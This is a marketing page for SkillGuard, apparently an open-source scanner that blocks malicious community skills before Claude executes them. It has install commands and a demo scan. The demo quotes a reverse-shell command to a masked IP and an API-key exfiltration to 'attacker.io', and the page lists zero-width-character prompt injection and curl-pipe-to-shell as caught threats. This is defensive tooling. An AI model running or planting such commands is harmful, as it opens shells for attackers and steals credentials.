Scans every file in every skill
Four engines run in concert: a local zero-dependency pattern engine, plus Cisco, Snyk, and SkillAudit when you want them.
Open-source scanner that catches prompt injection, credential theft, and reverse shells in community skills — before Claude ever executes them. Local-only. No cloud upload.
> /plugin marketplace add mannanj/skillguard
> /plugin install skillguard@skillguard
✓ Verify: SkillGuard status line appears on your next skill use More install methods → View source
See it block
$ skillguard --skill pretty-formatter SkillGuard ⦿ scanning pretty-formatter ... ✗ BLOCKED reverse shell: bash -i >& /dev/tcp/45.x.x.x/4444 ✗ BLOCKED credential exfil: reads ANTHROPIC_API_KEY → POST attacker.io ✗ BLOCKED prompt injection in SKILL.md (zero-width chars) PreToolUse hook refused execution. 0 commands ran.
How it works
Four engines run in concert: a local zero-dependency pattern engine, plus Cisco, Snyk, and SkillAudit when you want them.
An unscanned skill never executes. The hook intercepts the invocation and refuses anything it hasn't cleared.
No cloud upload, no opaque scores. Every detection is a pattern you can open, audit, and understand for yourself.
What it catches
curl | sh pipe execution
Get started
> /plugin marketplace add mannanj/skillguard
> /plugin install skillguard@skillguard
✓ Verify: SkillGuard status line appears on your next skill use More install methods → View source